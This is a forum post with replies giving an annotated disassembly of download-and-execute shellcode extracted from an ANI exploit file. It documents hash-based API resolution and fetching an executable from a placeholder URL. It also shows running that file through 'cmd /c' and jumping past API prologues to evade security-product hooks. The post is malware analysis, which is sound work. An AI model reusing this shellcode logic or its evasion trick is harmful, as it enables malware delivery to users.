首页
社区
课程
招聘
[原创]一份shellcode的详细分析
发表于: 2007-6-9 23:30 16027

[原创]一份shellcode的详细分析

2007-6-9 23:30
16027

这是从一个ani溢出攻击的xxx.ani文件中提取出来的一份shellcode,做了下分析
这里,先要谢谢forgot,解答我关于pPEB>0x80000000的问题,原来是检测win9x用的,谢谢
好了,进入正题吧

02A200AC  mov     ebp, esp
02A200AE  mov     edx, fs:[30]          ; pPeb
02A200B5  lea     edx, [edx+3]          ; pPeb->SpareBool
02A200B8  cmp     byte ptr [edx], 1     ; 判断shellcode是否已运行
02A200BB  je      02A20189
02A200C1  mov     byte ptr [edx], 1     ; 设置shellcode已运行
02A200C4  call    02A20214              ; FARPROC Get_GlobalAlloc_Addr()
; { 
[COLOR="blue"] 
  02A20214  call    02A20278            ; HMODULE GetBase_Kernel32()		
  ; {[/COLOR]
[COLOR="red"]
    02B20278  xor     eax, eax
    02B2027A  mov     eax, fs:[eax+30]  ; pPeb
    02B2027E  test    eax, eax
    02B20280  js      short 02B20292    ; if (pPeb>0x80000000)==>if (win9x),thx forgot!
    02B20282  mov     eax, [eax+C]      ; pPeb->pPEB_LDR_DATA
    02B20286  mov     esi, [eax+1C]     ; pPEB_LDR_DATA->InInitializationOrderModuleList
    02B2028A  lods    dword ptr [esi]	
    02B2028B  mov     eax, [eax+8]      ; pBase_Kernel32
    02B2028F  retn
    02B20290  jmp     short 02B2029D
    02B20292  mov     eax, [eax+34]     ; win9x,pPeb->pEventLog
    02B20296  add     eax, 7C		
    02B20299  mov     eax, [eax+3C]     ; *(pEventLog+0x7c+0x3c),可能是win9x下pBase_Kernel32
    02B2029D  retn [/COLOR]
[COLOR="blue"]
  ; }
  02A20219  push    0C0397EC            ; hash Of "GlobalAlloc"
  02A2021E  push    eax                 ; pBase_Kernel32
  02A2021F  call    02A2029E            ; FARPROC GetProcAddr(HMODULE hModule,unsigned long hash)		
  ; {  [/COLOR]
[COLOR="red"]
    02B2029E  pushad
    02B2029F  mov     ebp, [esp+24]     ; pBase_Kernel32,pIMAGE_DOS_HEADER
    02B202A4  mov     eax, [ebp+3C]     ; pIMAGE_DOS_HEADER->e_lfanew
    02B202A8  mov     edx, [ebp+eax+78] ; pIMAGE_OPTIONAL_HEADER+0x78==pIMAGE_EXPORT_DIRECTORY RVA
    02B202AD  add     edx, ebp          ; RVA to VA 
    02B202AF  mov     ecx, [edx+18]     ; NumberOfNames
    02B202B3  mov     ebx, [edx+20]     ; AddressOfNames RVA
    02B202B7  add     ebx, ebp          ; RVA to VA
    02B202B9  jecxz   short 02B202F5    ; if (NumberOfNames==0)
    02B202BB  dec     ecx		
    02B202BC  mov     esi, [ebx+ecx*4]  ; 
    02B202C0  add     esi, ebp          ; szExportFunName

    ; 下面开始逐个算输出表中函数名hash,再与所搜索函数的hash比较
    02B202C2  xor     edi, edi          ;---------GetHash-------------------| 	
    02B202C4  xor     eax, eax          ; unsigned long hash=0;             |
    02B202C6  cld                       ; char* pCh=(char*)szExportFunName; |
    02B202C7  lods    byte ptr [esi]    ; while (*pCh)                      |
    02B202C8  test    al, al            ; {                                 |
    02B202CA  je      short 02B202D3    ;   hash=(hash>>0x0d) + *pCh++;     |
    02B202CC  ror     edi, 0D           ; }                                 |
    02B202CF  add     edi, eax          ;                                   |
    02B202D1  jmp     short 02B202C7    ;-----------------------------------| 
    02B202D3  cmp     edi, [esp+28]     ; if (hash==hash_GlobalAlloc)
    02B202D8  jnz     short 02B202B9    
    02B202DA  mov     ebx, [edx+24]     ; AddressOfNameOrdinals RVA
    02B202DE  add     ebx, ebp          ; RVA to VA
    02B202E0  mov     cx, [ebx+ecx*2]   ; FunctionOrdinal
    02B202E5  mov     ebx, [edx+1C]     ; AddressOfFunctions RVA
    02B202E9  add     ebx, ebp          ; RVA to VA
    02B202EB  mov     eax, [ebx+ecx*4]  ; FunctionAddr RVA
    02B202EF  add     eax, ebp          ; pFun_API
    02B202F1  mov     [esp+1C], eax
    02B202F6  popad
    02B202F7  retn                      ; return pFun_API[/COLOR]
[COLOR="blue"]
  ; }
  02A20224  add     esp, 8
  02A20227  retn [/COLOR]
; }
02A200C9  push    300                   ; MemSize = 0x300
02A200CE  push    0                     ; Flags = GMEM_FIXED
02A200D0  call    eax                   ; kernel32.GlobalAlloc
029F00D2  mov     ecx, 300              ; 下面的copy计数器
029F00D7  mov     edi, eax              ; pBase_Heap
029F00D9  jmp     short 029F00E0
029F00DB  pop     esi                   ; 获取地址至esi

; 将esi指向的代码copy至刚申请的heap空间中                    
029F00DC  rep     movs byte ptr es:[edi], byte ptr [esi]	
029F00DE  call    eax                   ; 跳至heap空间中执行,eax==0x194E30
029F00E0  call    029F00DB              ; 定位下一句
029F00E5  jmp     short 029F00FE
 
; heap空间中
00194E30  jmp     short 00194E49
...
00194E49  jmp     00195043
...
00195043  call    00194E4E
; {
[COLOR="blue"] 
  00194E4E  pop     ebx         ; "hTTp://www.xxx.com/xxx.exe"
  00194E4F  sub     esp, 114
  00194E55  mov     edx, esp
  00194E57  mov     dword ptr [edx], 20646D63   ;  
  00194E5E  mov     dword ptr [edx+4], 2220632F ; cmd /c "
  00194E66  add     edx, 8
  00194E69  xor     eax, eax
  00194E6B  push    eax         ; IBindStatusCallback *pBSC
  00194E6C  push    eax         ; dwReserved
  00194E6D  push    104         ; dwBufLength=0x104
  00194E72  push    edx         ; szFileName
  00194E73  push    ebx         ; szURL->"hTTp://www.xxx.com/xxx.exe"
  00194E74  push    eax         ; lpUnkcaller=NULL,非ActiveX组件
  00194E75  call    00194F9B    ; Get_URLDownloadToCacheFileA_Addr()
  ; {[/COLOR]
[COLOR="red"]
    00194F9B  call    00194EED  ; GetBase_urlmon_dll();
    ; {[/COLOR]
[COLOR="Green"]      
      00194EED  push    6E6F            ; 
      00194EF2  push    6D4C7275        ; "urLmon"
      00194EF7  jmp     short 00194F0B  ; 跳去,再call回下一行,则压入了LoadLibraryA返回地址
      00194EF9  lea     eax, [esp+4]
      00194EFD  push    eax             ; "urLmon",LoadLibraryA的参数
      00194EFE  call    00194E32
      ; {[/COLOR]
[COLOR="magenta"]
        00194E32  push    edi           ; pBase_Heap+0x300 非参数,只是保存
        00194E33  call    00194FC3      ; HMODULE GetBase_Kernel32()
        00194E38  mov     edi, eax      ; pBase_Kernel32
        00194E3A  xor     ecx, ecx
        00194E3C  dec     ecx           ; ecx==4 GB
        00194E3D  xor     eax, eax
        00194E3F  mov     al, 0C3
        00194E41  cld
        ; 在Kernel32.dll中查找0xC3,即找一个retn指令
        00194E42  repne   scas byte ptr es:[edi] 
        00194E44  lea     eax, [edi-1]  ; Addr of retn
        00194E47  pop     edi
        00194E48  retn [/COLOR]
[COLOR="Green"]
      ; }
      00194F03  push    eax             ; Addr of retn,做jmp到LoadLibraryA时的返回地址
      00194F04  call    00194FAF        ; FARPROC Get_LoadLibraryA_Addr()     
      ; {[/COLOR]
[COLOR="magenta"]
        00194FAF  call    00194FC3      ; HMODULE GetBase_Kernel32()
        00194FB4  push    EC0E4E8E      ; hash Of "LoadLibraryA"
        00194FB9  push    eax           ; pBase_Kernel32
        00194FBA  call    00194FE9      ; FARPROC GetProcAddr(hModule, hash)
        00194FBF  add     esp, 8
        00194FC2  retn [/COLOR]
[COLOR="Green"]
      ; }
      00194F09  jmp     short 00194ED7              ; pFun=pLoadLibraryA
      ;
      00194ED7  cmp     byte ptr [eax], 55          ; if ((char *)pFun==0x55),即push ebp
      00194EDA  je      short 00194EEB
      00194EDC  cmp     dword ptr [eax+5], 90909090 ; if (nop)
      00194EE3  je      short 00194EEB
      00194EE5  push    ebp			
      00194EE6  mov     ebp, esp
      00194EE8  lea     eax, [eax+5]
      00194EEB  jmp     eax           ; jmp (LoadLibraryA+5), LoadLibraryA("urLmon")[/COLOR]
[COLOR="magenta"]
      ; 看下这时的堆栈
      ;0012CE80   0012CFD0  ebp
      ;0012CE84   4FAD102D  kernel32.4FAD102D==> retn->-|
      ;0012CE88   0012CE90  ASCII "urLmon"              v
      ;0012CE8C   00194F10  返回到 00194F10 <---<<------|             
      ;...
      00194F0B  call    00194EF9
      00194F10  add     esp, 8          ; LoadLibraryA返回后到这里
      00194F13  retn [/COLOR]
[COLOR="red"]
    ; }
    00194FA0  push    54FEF4F           ; hash Of "URLDownloadToCacheFileA"	
    00194FA5  push    eax               ; pBase_urlmon_dll
    00194FA6  call    00194FE9          ; FARPROC GetProcAddr(hModule, hash)
    00194FAB  add     esp, 8
    00194FAE  retn [/COLOR]
[COLOR="blue"]
  ; }
  00194E7A  call    eax                 ; urlmon.URLDownloadToCacheFileA [/COLOR]

[COLOR="magenta"] 
  ; 终于要下木马了,来看看这时的堆栈
  ; call urlmon.URLDownloadToCacheFileA
  ;0012CE9C   00194E7C  返回到 00194E7C
  ;0012CEA0   00000000  LPUNKNOWN lpUnkcaller,非ActiveX组件
  ;0012CEA4   00195048  LPCSTR szURL->hTTp://www.xxx.com/xxx.exe
  ;0012CEA8   0012CEC0  LPTSTR szFileName,(szFileName-8)->cmd /c "
  ;0012CEAC   00000104  DWORD dwBufLength
  ;0012CEB0   00000000  DWORD dwReserved
  ;0012CEB4   00000000  IBindStatusCallback *pBSC [/COLOR]
[COLOR="blue"]
  00194E7C  mov     edi, esp    ; cmd /c"C:\Docume~1\admin\...\xxx[1].htm
  00194E7E  mov     eax, edi	
  00194E80  add     eax, 8      ; szFileName->"C:\Docume~1\admin\...\xxx[1].htm"
  00194E83  mov     bl, [eax]           ;---------------------------|
  00194E86  test    bl, bl              ;                           |                 
  00194E88  je      short 00194E8D      ; while (*(char*)szFileName)|
  00194E8A  inc     eax                 ;     szFileName++;         |
  00194E8B  jmp     short 00194E83      ;---------------------------|
  00194E8D  mov     byte ptr [eax], 22  ; 字符串末尾加"号,构成完整命令
  00194E91  xor     edx, edx
  00194E93  mov     [eax+1], dl         ; 填0截断字符串
  00194E97  sub     esp, 54		
  00194E9A  xor     eax, eax
  00194E9C  xor     ebx, ebx
  00194E9E  mov     ecx, esp
  00194EA0  cmp     eax, 54             ;---------------------------|
  00194EA3  jge     short 00194EAE      ;                           |
  00194EA5  mov     [ecx+eax], ebx      ;   MemZero                 |
  00194EA9  add     eax, 4              ;                           |
  00194EAC  jmp     short 00194EA0      ;---------------------------|
  00194EAE  mov     ecx, esp
  00194EB0  mov     ebx, ecx
  00194EB2  add     ebx, 10
  00194EB5  xor     eax, eax
  00194EB7  mov     dword ptr [ebx+2C], 1 ; STARTF_USESHOWWINDOW
  00194EBF  push    ecx         ; lpProcessInfo
  00194EC0  push    ebx         ; lpStartupInfo
  00194EC1  push    eax         ; lpCurrentDirectory==NULL
  00194EC2  push    eax         ; lpEnvironment
  00194EC3  push    eax         ; dwCreationFlags
  00194EC4  push    eax         ; bInheritHandles
  00194EC5  push    eax         ; lpThreadAttributes
  00194EC6  push    eax         ; lpProcessAttributes
  00194EC7  push    edi         ; lpCommandLine->cmd /c"C:\...\xxx[1].htm
  00194EC8  push    eax         ; lpApplicationName
  00194EC9  call    00194F87    ; FARPROC Get_CreateProcessA_Addr()
  
  ; 同上call LoadLibraryA,先检查头几个字节,再跳去CreateProcessA
  00194ECE  call    00194ED7    ; CreateProcessA

  ; 启动完成,木马开始执行,好了,抛个eip=0 的执行错误88了
  00194ED3  nop
  00194ED4  push    0
  00194ED6  retn [/COLOR]
; }
00194ED7  cmp     byte ptr [eax], 55 ; if ((char *)pLoadLibraryA==0x55),即push ebp
00194EDA  je      short 00194EEB
00194EDC  cmp     dword ptr [eax+5], 90909090 ; if (nop)
00194EE3  je      short 00194EEB
00194EE5  push    ebp			
00194EE6  mov     ebp, esp
00194EE8  lea     eax, [eax+5]
00194EEB  jmp     eax		; jmp (LoadLibraryA+5), LoadLibraryA("urLmon")[/COLOR]

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 7
支持
分享
最新回复 (8)
雪    币: 1844
活跃值: (35)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
2
哦,深奥,不懂,有原件吗?
2007-6-10 09:03
0
雪    币: 325
活跃值: (97)
能力值: ( LV13,RANK:530 )
在线值:
发帖
回帖
粉丝
3
不错,顶了.
2007-6-10 15:27
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
完全不懂,大汗!
2007-6-10 16:20
0
雪    币: 255
活跃值: (207)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
5
恩。这里面LoadLibraryA,UrlDownLoadToFileA都是jmp offset+5,是为了躲避相关HIPS的检查,譬如瑞星卡卡。
2007-6-10 16:41
0
雪    币: 202
活跃值: (77)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
6
8错,很详尽的分析
2007-6-10 18:20
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
写的不错,
2007-6-15 16:56
0
雪    币: 223
活跃值: (70)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
8
00194EDC  cmp     dword ptr [eax+5], 90909090 ; if (nop)
00194EE3  je      short 00194EEB

这里貌似是判断卡巴是否存在
2007-6-15 18:45
0
雪    币: 334
活跃值: (92)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
9
简单地调了下
2011-12-9 19:43
0
游客
登录 | 注册 方可回帖
返回
//